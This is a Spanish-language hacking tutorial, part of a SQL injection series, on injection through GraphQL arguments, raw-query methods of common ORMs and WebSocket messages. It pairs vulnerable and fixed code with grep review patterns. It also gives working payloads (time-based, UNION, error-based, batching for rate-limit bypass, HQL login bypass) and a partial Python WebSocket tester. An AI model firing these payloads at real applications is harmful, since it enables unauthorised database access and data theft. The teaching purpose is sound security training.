← Volver al Blog≡ Ver toda la Serie
SQL Injection14 de julio de 2026 · 23 min lectura

SQL Injection — Tomo IV: GraphQL, ORMs Modernos y WebSockets — La Superficie que el 90% de los Hunters No Audita

Continúa tu entrenamiento con este tomo de nuestra saga definitiva sobre SQL Injection, analizando desde la teoría hasta la explotación.

Categoría: Web Hacking · SQL Injection · API Security · Modern Stacks
Nivel: Intermedio → Avanzado
Tiempo de lectura: 23 min
Serie: SQL Injection Completo — 9 Tomos | Tomo 4 de 9 · Trilogía 2 (Superficies Modernas)
Prerrequisito: Tomo 1, Tomo 2 y Tomo 3 recomendados
MITRE ATT&CK: T1190 · T1059 — Command and Scripting Interpreter
CWE: CWE-89 · CWE-943 — Improper Neutralization of Special Elements in Data Query Logic
Laboratorio asociado: CP06 · Labs SQLi-M01 al SQLi-M08 · TribuCibernética Cyber Range


"El hunter que solo sabe buscar SQLi en parámetros GET está auditando el 30% de la superficie real de una aplicación moderna. El otro 70% vive en variables de GraphQL, en los dos escape hatches raw() que el developer usó 'excepcionalmente', en mensajes de WebSocket que nadie valida con el mismo rigor que las requests HTTP. Ahí es donde están los bugs que pagan."


Por Qué Esta Trilogía Importa en 2026

El patrón de 2026 en pentesting es consistente: la aplicación tiene 200 llamadas al ORM, 198 de las cuales están correctamente parametrizadas a través de la API de alto nivel del ORM, y 2 de las cuales usan el escape hatch de raw query con input concatenado.

Esas 2 llamadas vulnerables son suficientes para comprometer la base de datos completa.

El problema no es que los frameworks modernos sean inseguros — es que cada uno tiene puertas traseras que los developers usan cuando el ORM "no puede hacer lo que necesitan". Django, Rails ActiveRecord e Hibernate siguen experimentando vulnerabilidades críticas a pesar de su amplia adopción.

Este tomo cubre tres superficies que la mayoría de hunters ignora completamente:

GraphQL — el lenguaje de query que reemplaza REST en aplicaciones modernas, con su propio conjunto de vectores de inyección que los escáneres tradicionales no detectan.

ORMs modernos — los escape hatches específicos de Django, SQLAlchemy, Hibernate, Prisma y Sequelize donde la parametrización se rompe, con CVEs reales que demuestran que el problema no es teórico.

WebSockets — el canal de comunicación bidireccional donde los mensajes frecuentemente llegan a la base de datos con menos validación que sus equivalentes HTTP.


Índice

  1. El mapa de la superficie moderna: dónde vive el SQLi en stacks de 2026
  2. GraphQL: arquitectura, resolvers y el modelo de query como vector
  3. SQLi en variables de GraphQL: el vector directo
  4. SQLi via introspección: mapear el schema antes de atacar
  5. GraphQL batching attacks: multiplicar el impacto
  6. Herramientas para auditar GraphQL: InQL, Graphw00f y técnicas manuales
  7. ORMs modernos: la promesa de seguridad y sus límites exactos
  8. Django ORM: CVE-2024-42005 y los métodos que rompen la protección
  9. SQLAlchemy: text(), engine.execute() y los patrones de concatenación
  10. Hibernate y HQL Injection: cuando el ORM tiene su propio lenguaje vulnerable
  11. Prisma: queryRaw, executeRaw y el ORM más popular en Node.js 2026
  12. Sequelize: el ORM de Node.js legacy con más escape hatches
  13. El patrón universal: cómo encontrar escape hatches en cualquier ORM
  14. WebSocket SQLi: el canal sin validación uniforme
  15. Detectar y explotar SQLi en mensajes WebSocket
  16. Detección defensiva: auditar ORMs y GraphQL en producción
  17. Laboratorio en el Cyber Range
  18. Lo que viene en el Tomo 5

1. El Mapa de la Superficie Moderna: Dónde Vive el SQLi en Stacks de 2026

La superficie de ataque de SQL Injection ha evolucionado radicalmente en los últimos cinco años. La mayoría de los hunters buscan donde siempre buscaron — parámetros GET, campos de formulario POST — y dejan sin tocar la mayor parte de la superficie real.

SUPERFICIE CLÁSICA (lo que todos buscan):
├── Parámetros GET: ?id=1, ?search=laptop
├── Campos de formulario POST: login, registro, búsqueda
└── Cookies: valores de sesión que se consultan en BD

SUPERFICIE MODERNA (lo que la mayoría ignora):
├── GraphQL:
│   ├── Variables de query y mutation
│   ├── Argumentos de fields (filtros, ordenación)
│   ├── Directivas personalizadas
│   └── Subscriptions
│
├── ORMs — escape hatches:
│   ├── Django: .raw(), .extra(), RawSQL()
│   ├── SQLAlchemy: text(), engine.execute() con f-strings
│   ├── Hibernate: createNativeQuery(), createQuery() con HQL concatenado
│   ├── Prisma: $queryRaw, $executeRaw
│   └── Sequelize: query(), literal(), col()
│
├── WebSockets:
│   ├── Mensajes de chat que se persisten en BD
│   ├── Comandos de control que modifican estado en BD
│   └── Eventos de sincronización en tiempo real
│
└── Otros vectores modernos:
    ├── Server-Sent Events (SSE) con parámetros de filtro
    ├── gRPC con proto fields que llegan a queries
    └── Webhooks que procesan payloads externos

2. GraphQL: Arquitectura, Resolvers y el Modelo de Query Como Vector

GraphQL es un lenguaje de query para APIs desarrollado por Facebook en 2012 y open-sourced en 2015. En 2026, la mayoría de aplicaciones SPA modernas usan GraphQL en lugar de REST para su API principal.

La arquitectura que importa para SQLi

Cliente → [Query GraphQL] → Servidor GraphQL → [Resolver] → Base de Datos
                                                    ↑
                                        Aquí está el riesgo
                                        El resolver construye
                                        la consulta SQL

Un resolver es la función que GraphQL ejecuta para cada field solicitado. Es responsabilidad del developer del resolver construir la consulta de base de datos de forma segura. GraphQL en sí no tiene protección contra SQLi — es el resolver el que puede ser vulnerable.

La diferencia con REST en términos de superficie

# En REST, los parámetros son visibles y conocidos:
GET /productos?categoria=electronica&precio_max=5000

# En GraphQL, la estructura de la query define los parámetros:
query {
  productos(
    donde: {
      categoria: "electronica",
      precio: { menor_que: 5000 }
    },
    ordenar: "precio_asc",
    limite: 20
  ) {
    id
    nombre
    precio
    categoria { nombre }
  }
}

En GraphQL, cada argumento de cada field es un vector potencial de SQLi si el resolver lo usa directamente en una consulta SQL.


3. SQLi en Variables de GraphQL: El Vector Directo

Cómo las variables llegan al SQL

# Resolver de Python (graphene) — VULNERABLE
class ProductosQuery(graphene.ObjectType):
    productos = graphene.List(
        ProductoType,
        categoria=graphene.String(),
        orden=graphene.String()
    )
    
    def resolve_productos(self, info, categoria=None, orden='nombre'):
        # VULNERABLE: el argumento 'orden' se concatena directamente en SQL
        # Un atacante puede controlar la cláusula ORDER BY completa
        query = f"""
            SELECT * FROM productos 
            WHERE categoria = %s 
            ORDER BY {orden}  -- ← SINK vulnerable
        """
        return db.execute(query, (categoria,)).fetchall()
# Query maliciosa del atacante
query {
  productos(
    categoria: "electronica",
    orden: "(CASE WHEN (SELECT SLEEP(5))=0 THEN nombre ELSE precio END)"
  ) {
    id
    nombre
  }
}

Si la respuesta tarda 5 segundos — Time-Based Blind SQLi confirmado en el argumento orden.

El vector más común: ORDER BY injection

La inyección en cláusulas ORDER BY es especialmente prevalente en GraphQL porque:

  1. Los developers no pueden usar parámetros en ORDER BY (limitación de SQL)
  2. La alternativa correcta (allowlist) se implementa con menos frecuencia
  3. El campo de ordenación parece "inofensivo" comparado con campos de filtro
# El problema de ORDER BY sin allowlist
# SQL no permite: ORDER BY ? (los parámetros no funcionan en ORDER BY)
# El developer "resuelve" esto con concatenación → vulnerable

# Solución correcta: allowlist de campos permitidos
CAMPOS_ORDEN_PERMITIDOS = {'nombre', 'precio', 'fecha_creacion', 'stock'}
DIRECCIONES_PERMITIDAS = {'ASC', 'DESC'}

def resolve_productos(self, info, orden='nombre', direccion='ASC'):
    # Validar contra allowlist antes de usar en SQL
    campo = orden if orden in CAMPOS_ORDEN_PERMITIDOS else 'nombre'
    dir_orden = direccion.upper() if direccion.upper() in DIRECCIONES_PERMITIDAS else 'ASC'
    
    # Ahora es seguro usar en SQL porque solo pueden ser valores conocidos
    query = f"SELECT * FROM productos ORDER BY {campo} {dir_orden}"
    return db.execute(query).fetchall()

Payloads específicos para GraphQL SQLi

# Payload 1: Error-Based en argumento de filtro
query {
  usuarios(
    filtro: {
      email: "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--"
    }
  ) { id email }
}

# Payload 2: Boolean-Based en argumento booleano
query {
  productos(
    activo: "1 AND 1=1"
  ) { id }
}

# Payload 3: Time-Based en argumento de ordenación
query {
  pedidos(
    ordenarPor: "id,(SELECT SLEEP(5))"
  ) { id }
}

# Payload 4: UNION en argumento de ID numérico
query {
  producto(id: "-1 UNION SELECT NULL,version(),NULL--") {
    id
    nombre
    descripcion
  }
}

4. SQLi via Introspección: Mapear el Schema Antes de Atacar

GraphQL tiene una característica de introspección que permite consultar el schema completo de la API — todos los types, queries, mutations, fields y argumentos disponibles. Esto es invaluable para un hunter porque expone toda la superficie de ataque antes de empezar.

# Query de introspección para obtener el schema completo
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      fields {
        name
        args {
          name
          type { name kind ofType { name kind } }
        }
      }
    }
  }
}

Por qué la introspección es tan valiosa

En REST, tienes que hacer crawling o leer documentación para descubrir endpoints. En GraphQL con introspección habilitada, obtienes el mapa completo de toda la API en un solo request.

# Obtener todos los queries disponibles y sus argumentos
{
  __schema {
    queryType {
      fields {
        name
        description
        args {
          name
          type {
            name
            kind
          }
        }
      }
    }
  }
}

Output típico que un hunter obtiene:

{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "usuarios",
            "args": [
              {"name": "email", "type": {"name": "String"}},
              {"name": "rol", "type": {"name": "String"}},
              {"name": "ordenarPor", "type": {"name": "String"}},
              {"name": "limite", "type": {"name": "Int"}}
            ]
          },
          {
            "name": "transacciones",
            "args": [
              {"name": "cuentaId", "type": {"name": "String"}},
              {"name": "fechaDesde", "type": {"name": "String"}},
              {"name": "estado", "type": {"name": "String"}}
            ]
          }
        ]
      }
    }
  }
}

Con este output, el hunter tiene la lista completa de vectores a testear para SQLi — todos los argumentos de tipo String son candidatos.

Cuando la introspección está deshabilitada

Algunas configuraciones de producción deshabilitan la introspección. Alternativas:

# Field suggestions — GraphQL sugiere campos cuando cometes un typo
query { usuario(emaik: "test") { id } }
# Error: "Did you mean 'email'?"
# → El servidor revela que el field correcto es 'email'

# Cyclic introspection — algunos campos siempre están accesibles
{ __typename }
# Siempre funciona — revela que es GraphQL

# Clairvoyance (herramienta) — adivina el schema por fuerza bruta
# github.com/nikitastupin/clairvoyance

5. GraphQL Batching Attacks: Multiplicar el Impacto

GraphQL permite enviar múltiples operaciones en un solo request HTTP via batching. Esto tiene implicaciones directas para SQLi:

Batching para rate limit bypass

Si el endpoint de GraphQL tiene rate limiting por request HTTP (no por operación), puedes enviar 50 queries en un solo request:

[
  {"query": "query { producto(id: \"1 AND SLEEP(1)\") { id } }"},
  {"query": "query { producto(id: \"2 AND SLEEP(1)\") { id } }"},
  {"query": "query { producto(id: \"3 AND SLEEP(1)\") { id } }"}
]

Un solo request HTTP → 50 operaciones GraphQL → el rate limiter cuenta 1, no 50.

Batching para extracción paralela acelerada

En Blind SQLi, normalmente los requests son secuenciales. Con batching, pueden ser paralelos:

[
  {"query": "query { buscar(termino: \"test' AND ASCII(SUBSTRING(database(),1,1))>64--\") { total } }"},
  {"query": "query { buscar(termino: \"test' AND ASCII(SUBSTRING(database(),1,1))>96--\") { total } }"},
  {"query": "query { buscar(termino: \"test' AND ASCII(SUBSTRING(database(),1,1))>112--\") { total } }"}
]

En lugar de hacer búsqueda binaria secuencialmente, múltiples preguntas van en paralelo. La extracción que toma 700 requests secuenciales puede reducirse a 100-200 requests con batching.


6. Herramientas para Auditar GraphQL

InQL — Burp Extension para GraphQL

1. Instalar InQL desde BApp Store de Burp Suite
2. InQL → Target → introducir URL del endpoint GraphQL
3. InQL ejecuta introspección automáticamente
4. Genera queries de prueba para cada operación con argumentos fuzzeables
5. Permite enviar queries directamente a Repeater para testing manual

Graphw00f — Fingerprinting de implementaciones GraphQL

# Instalar
pip3 install graphw00f --break-system-packages

# Fingerprinting — identificar qué implementación GraphQL usa el servidor
graphw00f -d https://objetivo.com/graphql

# Output:
# [*] Checking for GraphQL...
# [*] Found GraphQL endpoint at: https://objetivo.com/graphql
# [*] Detected: Graphene-Python
# [!] Known CVEs for this implementation: CVE-2023-XXXX

Por qué importa el fingerprinting: diferentes implementaciones de GraphQL tienen diferentes vulnerabilidades conocidas y diferentes comportamientos ante introspección deshabilitada.

Testing manual con curl

# Introspección completa
curl -X POST https://objetivo.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"query":"{ __schema { types { name fields { name args { name } } } } }"}'

# Query de prueba con payload Boolean
curl -X POST https://objetivo.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { buscar(termino: \"test\\u0027 AND 1=1--\") { total } }"}'

# Batching
curl -X POST https://objetivo.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"query { p(id:\"1\") { id } }"},{"query":"query { p(id:\"2\") { id } }"}]'

7. ORMs Modernos: La Promesa de Seguridad y Sus Límites Exactos

Los frameworks ORM prometen eliminar las vulnerabilidades de SQL Injection abstrayendo las interacciones con la base de datos. Sin embargo, en 2025, la inyección SQL permanece entre las principales amenazas de seguridad, con frameworks importantes como Django, Rails ActiveRecord e Hibernate experimentando vulnerabilidades críticas.

El problema tiene una estructura universal:

ORM.metodo_seguro(input_usuario) → Query parametrizada → SEGURO
ORM.escape_hatch(f"...{input_usuario}...") → Concatenación → VULNERABLE

El hunter que encuentra el escape_hatch encuentra el bug.
El hunter que solo busca en la UI no llega hasta el código.
La aplicación tiene 200 llamadas al ORM, 198 correctamente parametrizadas, 2 usando el escape hatch con input concatenado. Esas 2 son suficientes.

8. Django ORM: CVE-2024-42005 y Los Métodos que Rompen la Protección

Los métodos seguros vs. los peligrosos

# SEGURO — ORM estándar de Django (genera queries parametrizadas)
from myapp.models import Usuario

# filter() — parametrizado
Usuario.objects.filter(email=request.GET['email'])

# get() — parametrizado
Usuario.objects.get(id=request.GET['id'])

# annotate(), aggregate() — parametrizados
Usuario.objects.annotate(total=Count('pedidos')).filter(total__gt=5)

# ──────────────────────────────────────────────────────
# PELIGROSO — escape hatches que los developers usan "excepcionalmente"

# 1. .raw() — SQL crudo con concatenación
# VULNERABLE:
query = f"SELECT * FROM auth_user WHERE username = '{username}'"
Usuario.objects.raw(query)

# CORRECTO — .raw() con parámetros:
Usuario.objects.raw("SELECT * FROM auth_user WHERE username = %s", [username])

# 2. .extra() — añadir SQL arbitrario a la query
# VULNERABLE:
Usuario.objects.extra(where=[f"username = '{username}'"])

# CORRECTO — .extra() con params:
Usuario.objects.extra(where=["username = %s"], params=[username])

# 3. RawSQL() — SQL directo en annotate
from django.db.models.expressions import RawSQL
# VULNERABLE:
Usuario.objects.annotate(
    custom=RawSQL(f"SELECT COUNT(*) FROM pedidos WHERE user_id = {user_id}", [])
)

# CORRECTO — RawSQL() con parámetros:
Usuario.objects.annotate(
    custom=RawSQL("SELECT COUNT(*) FROM pedidos WHERE user_id = %s", [user_id])
)

# 4. cursor.execute() directo — el más peligroso
from django.db import connection
# VULNERABLE:
with connection.cursor() as cursor:
    cursor.execute(f"SELECT * FROM myapp_usuario WHERE email = '{email}'")

CVE-2024-42005 — La vulnerabilidad en .values() con claves JSON

CVE-2024-42005 de Django permitió SQL injection a través de claves JSON maliciosamente construidas pasadas a un método .values() considerado "seguro".
# El escenario vulnerable
datos = request.GET.dict()  # El atacante controla las claves del dict

# Django .values() normalmente es seguro, pero con claves JSON específicas:
Usuario.objects.values(*datos.keys())
# Si datos.keys() incluye: "id) UNION SELECT password FROM auth_user--"
# → SQLi via nombre de field/columna, no via valor

Por qué es especialmente peligroso: Los nombres de campos/columnas no se parametrizan en SQL. Los valores sí — pero los nombres no. Cualquier ORM que permita que los nombres de columnas vengan de input del usuario sin allowlist es potencialmente vulnerable a este patrón.

Grep para encontrar Django escape hatches en code review

# Buscar en repositorio Django
grep -rn "\.raw(" app/ --include="*.py"
grep -rn "\.extra(" app/ --include="*.py"
grep -rn "RawSQL(" app/ --include="*.py"
grep -rn "cursor\.execute(" app/ --include="*.py"
grep -rn "connection\.cursor" app/ --include="*.py"

# Buscar específicamente concatenación en raw queries
grep -rn "\.raw(f['\"]" app/ --include="*.py"
grep -rn "cursor\.execute(f['\"]" app/ --include="*.py"
grep -rn "\.raw(\".*%s.*\" %" app/ --include="*.py"

9. SQLAlchemy: text(), engine.execute() y Los Patrones de Concatenación

SQLAlchemy es el ORM más usado en Python para aplicaciones que necesitan control fino sobre las queries. Su flexibilidad es también su mayor riesgo de seguridad.

from sqlalchemy import text, create_engine
from sqlalchemy.orm import Session

engine = create_engine("postgresql://user:pass@localhost/db")

# SEGURO — SQLAlchemy ORM estándar
with Session(engine) as session:
    # filter() — parametrizado automáticamente
    result = session.query(Usuario).filter(Usuario.email == email).all()
    
    # Múltiples filtros — todos parametrizados
    result = session.query(Producto).filter(
        Producto.categoria == categoria,
        Producto.precio < precio_max
    ).all()

# ──────────────────────────────────────────────────────────────
# PELIGROSO — escape hatches comunes

# 1. text() con f-string o % formatting
# VULNERABLE:
query = text(f"SELECT * FROM usuarios WHERE email = '{email}'")
result = session.execute(query)

# VULNERABLE con % formatting:
query = text("SELECT * FROM usuarios WHERE email = '%s'" % email)

# CORRECTO — text() con bindparams:
query = text("SELECT * FROM usuarios WHERE email = :email")
result = session.execute(query, {"email": email})

# 2. engine.execute() directo (deprecated en SA 2.0 pero en código legacy)
# VULNERABLE:
engine.execute(f"SELECT * FROM usuarios WHERE id = {user_id}")

# 3. connection.execute() con SQL string concatenado
# VULNERABLE:
with engine.connect() as conn:
    resultado = conn.execute(
        f"SELECT * FROM productos WHERE categoria = '{categoria}' ORDER BY {orden}"
    )

# CORRECTO:
with engine.connect() as conn:
    resultado = conn.execute(
        text("SELECT * FROM productos WHERE categoria = :cat ORDER BY nombre"),
        {"cat": categoria}
    )

El patrón de ORDER BY en SQLAlchemy

# El problema universal de ORDER BY (no se puede parametrizar)

# VULNERABLE — el campo de ordenación viene del usuario
orden_campo = request.args.get('sort', 'nombre')
query = text(f"SELECT * FROM productos ORDER BY {orden_campo}")

# CORRECTO — allowlist estricta
CAMPOS_PERMITIDOS = {
    'nombre': Producto.nombre,
    'precio': Producto.precio,
    'fecha': Producto.fecha_creacion
}

orden = CAMPOS_PERMITIDOS.get(request.args.get('sort'), Producto.nombre)
result = session.query(Producto).order_by(orden).all()
# Usando el atributo del modelo en lugar del string — SQLAlchemy lo parametriza correctamente

10. Hibernate y HQL Injection: Cuando el ORM Tiene Su Propio Lenguaje Vulnerable

Hibernate es el ORM más usado en Java/Spring. Tiene su propio lenguaje de query llamado HQL (Hibernate Query Language) — y HQL tiene sus propias vulnerabilidades de inyección, separadas del SQLi tradicional pero igualmente peligrosas.

HQL Injection — el SQLi del mundo Java

// Hibernate — SEGURO: Criteria API
List<Usuario> usuarios = session.createQuery(
    "FROM Usuario WHERE email = :email", Usuario.class)
    .setParameter("email", email)
    .list();

// ──────────────────────────────────────────────────────
// Hibernate — VULNERABLE: concatenación en HQL

// 1. createQuery() con concatenación
// VULNERABLE:
String hql = "FROM Usuario WHERE email = '" + email + "'";
List<Usuario> usuarios = session.createQuery(hql).list();

// 2. createNativeQuery() con concatenación (SQLi clásico)
// VULNERABLE:
String sql = "SELECT * FROM usuarios WHERE email = '" + email + "'";
List<?> resultado = session.createNativeQuery(sql).getResultList();

// 3. JPQL con concatenación (equivalente a HQL en JPA)
// VULNERABLE:
String jpql = "SELECT u FROM Usuario u WHERE u.username = '" + username + "'";
List<Usuario> result = entityManager.createQuery(jpql).getResultList();

Por qué HQL Injection es diferente a SQLi estándar

HQL opera sobre el modelo de objetos de Hibernate — no directamente sobre SQL. Pero Hibernate traduce HQL a SQL, y si el HQL está comprometido, el SQL resultante también lo está.

Además, HQL da acceso a la estructura de objetos:

HQL payload: ' OR 1=1 OR username='admin
→ Hibernate traduce a: WHERE email = '' OR 1=1 OR username='admin'
→ Devuelve todos los usuarios o el admin — authentication bypass
// HQL payload más avanzado — acceder a associations
// Si Usuario tiene una relación con Pedido:
"FROM Usuario WHERE email = '' OR (SELECT COUNT(*) FROM Pedido p WHERE p.total > 10000) > 0 OR email = '"
→ Devuelve todos los usuarios si algún pedido supera 10000 — extracción indirecta de datos

CVE asociados con Hibernate

CVE-2020-25638 fue una vulnerabilidad SQLi en Hibernate que afectó a aplicaciones que usaban createNativeQuery() con input del usuario sin parametrizar. Aunque fue parcheada, el patrón vulnerable sigue apareciendo en código nuevo que los developers escriben siguiendo ejemplos desactualizados.

11. Prisma: $queryRaw, $executeRaw y el ORM Más Popular en Node.js 2026

Prisma es el ORM de facto para aplicaciones Node.js/TypeScript modernas. Su API segura por defecto es elegante — y sus escape hatches son exactamente donde el hunter debe buscar.

import { PrismaClient } from '@prisma/client'
const prisma = new PrismaClient()

// SEGURO — Prisma API estándar
const usuario = await prisma.usuario.findFirst({
  where: { email: email }  // Parametrizado automáticamente
})

const productos = await prisma.producto.findMany({
  where: {
    categoria: categoria,
    precio: { lte: precioMax }
  },
  orderBy: { nombre: 'asc' }  // Seguro — Prisma valida el field
})

// ──────────────────────────────────────────────────────
// PELIGROSO — escape hatches de Prisma

// 1. $queryRaw con template literal — EL MÁS PELIGROSO
// VULNERABLE — template literal con interpolación directa:
const email_usuario = req.query.email
const resultado = await prisma.$queryRaw`
  SELECT * FROM usuarios WHERE email = '${email_usuario}'
`
// IMPORTANTE: el template literal de Prisma CON backticks ES SEGURO
// El peligro es cuando usan string concatenation en su lugar:

// VULNERABLE — string concatenation en $queryRaw:
const resultado = await prisma.$queryRawUnsafe(
  `SELECT * FROM usuarios WHERE email = '${email}'`
)

// CORRECTO — $queryRaw con tagged template literal (parametrizado por Prisma):
const resultado = await prisma.$queryRaw`
  SELECT * FROM usuarios WHERE email = ${email}
`
// Prisma convierte el template literal a query parametrizada automáticamente

// 2. $executeRaw para UPDATE/DELETE — mismo riesgo
// VULNERABLE:
await prisma.$executeRawUnsafe(
  `UPDATE usuarios SET rol = '${rol}' WHERE id = ${userId}`
)

// CORRECTO:
await prisma.$executeRaw`
  UPDATE usuarios SET rol = ${rol} WHERE id = ${userId}
`

El método $queryRawUnsafe — el nombre lo dice todo

Prisma tiene la intención explícita en el nombre: $queryRawUnsafe es el método que NO sanitiza. Si encuentras este método en el código con variables interpoladas directamente — es casi certeza de SQLi.

# Buscar en repositorios Node.js/TypeScript
grep -rn "\$queryRawUnsafe" src/ --include="*.ts" --include="*.js"
grep -rn "\$executeRawUnsafe" src/ --include="*.ts" --include="*.js"

# También buscar $queryRaw con concatenación (no template literal)
grep -rn "\$queryRaw(" src/ --include="*.ts" | grep -v "prisma\.\$queryRaw\`"

12. Sequelize: El ORM de Node.js Legacy con Más Escape Hatches

Sequelize es el ORM más antiguo del ecosistema Node.js. Tiene más escape hatches que Prisma y más patrones vulnerables documentados:

const { Sequelize, Op, literal, col } = require('sequelize');

// SEGURO — Sequelize API estándar
const usuarios = await Usuario.findAll({
  where: { email: req.query.email }  // Parametrizado
})

// ──────────────────────────────────────────────────────
// PELIGROSO — escape hatches de Sequelize

// 1. sequelize.query() con template string
// VULNERABLE:
const resultado = await sequelize.query(
  `SELECT * FROM usuarios WHERE email = '${email}'`
)

// CORRECTO — con replacements o bind:
const resultado = await sequelize.query(
  'SELECT * FROM usuarios WHERE email = :email',
  { replacements: { email: email } }
)

// 2. literal() — SQL raw dentro de queries Sequelize
// VULNERABLE:
const usuarios = await Usuario.findAll({
  where: literal(`email = '${email}'`)  // literal() inserta SQL crudo
})

// 3. col() con input del usuario — ORDER BY injection
// VULNERABLE:
const orden = req.query.orden || 'nombre'
const usuarios = await Usuario.findAll({
  order: [[col(orden), 'ASC']]  // col() acepta cualquier string → ORDER BY injection
})

// CORRECTO — allowlist:
const CAMPOS_VALIDOS = ['nombre', 'email', 'created_at']
const campo = CAMPOS_VALIDOS.includes(req.query.orden) ? req.query.orden : 'nombre'
const usuarios = await Usuario.findAll({
  order: [[campo, 'ASC']]
})

Grep para Sequelize escape hatches

grep -rn "sequelize\.query(" src/ --include="*.js" --include="*.ts"
grep -rn "literal(" src/ --include="*.js" --include="*.ts" | grep -v "//.*literal"
grep -rn "queryInterface\." src/ --include="*.js"  # Migrations también pueden ser vulnerables
grep -rn "col(" src/ --include="*.js" --include="*.ts"

13. El Patrón Universal: Cómo Encontrar Escape Hatches en Cualquier ORM

Independientemente del ORM o lenguaje, el proceso es el mismo:

Paso 1: Identificar el ORM usado

# Python
cat requirements.txt | grep -i "django\|sqlalchemy\|tortoise\|peewee"

# Node.js
cat package.json | grep -i "prisma\|sequelize\|typeorm\|knex\|bookshelf"

# Java
cat pom.xml | grep -i "hibernate\|jpa\|spring-data"

# Ruby
cat Gemfile | grep -i "activerecord\|sequel"

Paso 2: Buscar todos los escape hatches del ORM identificado

# Tabla de escape hatches por ORM:
# Django:      .raw(), .extra(), RawSQL(), cursor.execute()
# SQLAlchemy:  text(), engine.execute(), connection.execute() con strings
# Hibernate:   createNativeQuery(), createQuery() con HQL concatenado
# Prisma:      $queryRawUnsafe(), $executeRawUnsafe(), $queryRaw con concat
# Sequelize:   query(), literal(), col(), queryInterface.sequelize.query()
# TypeORM:     query(), createQueryBuilder().where() con concat, getRepository().query()
# Knex:        knex.raw() con concat

# Para cualquier ORM, buscar su método de "raw query" específico

Paso 3: Para cada escape hatch encontrado, verificar si hay concatenación

# Python — buscar f-strings o % formatting en raw queries
grep -rn "\.raw(f['\"]" . --include="*.py"
grep -rn "\.raw(['\"].*{" . --include="*.py"
grep -rn "text(f['\"]" . --include="*.py"

# JavaScript — buscar template literals o concatenación
grep -rn "\.query(\`" . --include="*.js" --include="*.ts"
grep -rn "\.query(\".*\+" . --include="*.js" --include="*.ts"
grep -rn "literal(\`" . --include="*.js" --include="*.ts"

Paso 4: Rastrear el input hasta el escape hatch

Una vez identificado un escape hatch con posible concatenación:

# Ejemplo: encontraste en código
def buscar_productos(categoria, orden):
    query = text(f"SELECT * FROM productos WHERE categoria = '{categoria}' ORDER BY {orden}")
    return db.execute(query)

# Rastrear: ¿de dónde vienen categoria y orden?
# ¿Son controlables por el usuario?
# Si sí → SQLi confirmado en el código → verificar en la app

14. WebSocket SQLi: El Canal Sin Validación Uniforme

WebSockets son conexiones bidireccionales persistentes entre cliente y servidor. Se usan para: chats en tiempo real, notificaciones, dashboards de datos en vivo, juegos multiplayer, y colaboración en tiempo real.

Por qué WebSockets tienen más SQLi que HTTP en promedio

Tres razones estructurales:

Primera: Los mensajes WebSocket no pasan por los mismos filtros que las requests HTTP. Los WAFs tradicionales inspeccionan HTTP — muchos no inspeccionan tráfico WebSocket correctamente.

Segunda: Los developers frecuentemente aplican validación diferente a los dos canales. El endpoint HTTP /api/buscar tiene validación. El mensaje WebSocket {tipo: "buscar", termino: "..."} tiene menos.

Tercera: Los mensajes WebSocket son más difíciles de interceptar y analizar manualmente — muchos hunters nunca llegan a probarlos.

La arquitectura de WebSocket que importa para SQLi

Cliente → [mensaje WS] → Servidor WebSocket → [Handler] → Base de datos
                                                   ↑
                                       Si el handler construye SQL
                                       con el contenido del mensaje
                                       sin parametrizar → SQLi
// Servidor Node.js con WebSocket — VULNERABLE
const WebSocket = require('ws')
const wss = new WebSocket.Server({ port: 8080 })

wss.on('connection', function(ws) {
  ws.on('message', async function(message) {
    const datos = JSON.parse(message)
    
    if (datos.tipo === 'buscar') {
      // VULNERABLE — el termino viene del mensaje WS sin sanitizar
      const query = `SELECT * FROM productos WHERE nombre LIKE '%${datos.termino}%'`
      const resultado = await db.query(query)
      ws.send(JSON.stringify(resultado))
    }
    
    if (datos.tipo === 'filtrar') {
      // VULNERABLE — ORDER BY con dato del cliente
      const query = `SELECT * FROM pedidos WHERE usuario_id = ${datos.usuario_id} ORDER BY ${datos.campo}`
      const resultado = await db.query(query)
      ws.send(JSON.stringify(resultado))
    }
  })
})

15. Detectar y Explotar SQLi en Mensajes WebSocket

Interceptar tráfico WebSocket en Burp Suite

1. Burp Suite → Proxy → HTTP history → filtrar por tipo "WebSocket"
2. O ir directamente a: Proxy → WebSockets history
3. Las conexiones WS aparecen como upgrades HTTP (101 Switching Protocols)
4. Burp captura automáticamente todos los mensajes WS enviados y recibidos

Modificar mensajes WebSocket en tiempo real

1. En WebSockets history, click derecho en un mensaje → "Send to Repeater"
2. En Repeater, modificar el contenido del mensaje
3. Burp re-envía el mensaje modificado por la conexión WS existente

Payloads de prueba para WebSocket SQLi

// Mensaje original
{"tipo": "buscar", "termino": "laptop"}

// Payload Boolean-Based — si el total cambia entre los dos → SQLi
{"tipo": "buscar", "termino": "laptop' AND 1=1-- "}
{"tipo": "buscar", "termino": "laptop' AND 1=2-- "}

// Payload Time-Based — si el mensaje tarda 5 segundos → SQLi
{"tipo": "buscar", "termino": "laptop' AND SLEEP(5)-- "}

// Payload UNION — si hay output visible
{"tipo": "buscar", "termino": "' UNION SELECT NULL,version(),NULL-- "}

// En campo numérico
{"tipo": "filtrar", "usuario_id": "1 AND 1=1", "campo": "fecha"}

// En campo de ordenación
{"tipo": "filtrar", "usuario_id": "1", "campo": "fecha,(SELECT SLEEP(5))"}

Automatización de testing WebSocket con Python

#!/usr/bin/env python3
"""
TribuCibernética — WebSocket SQLi Tester
Solo para uso en entornos autorizados.
"""

import asyncio
import websockets
import json
import time

TARGET_WS = "wss://objetivo.com/ws"
AUTH_TOKEN = "TU_TOKEN_AQUI"

async def test_ws_sqli():
    headers = {"Authorization": f"Bearer {AUTH_TOKEN}"}
    
    async with websockets.connect(TARGET_WS, extra_headers=headers) as ws:
        
        # Mensaje base (sin payload)
        base_msg = {"tipo": "buscar", "termino": "laptop"}
        await ws.send(json.dumps(base_msg))
        base_response = await ws.recv()
        base_data = json.loads(base_response)
        base_total = base_data.get('total', 0)
        print(f"[*] Respuesta base: total={base_total}")
        
        # Test Boolean TRUE
        true_msg = {"tipo": "buscar", "termino": "laptop' AND 1=1-- "}
        await ws.send(json.dumps(true_msg))
        true_response = json.loads(await ws.recv())
        true_total = true_response.get('total', 0)
        
        # Test Boolean FALSE
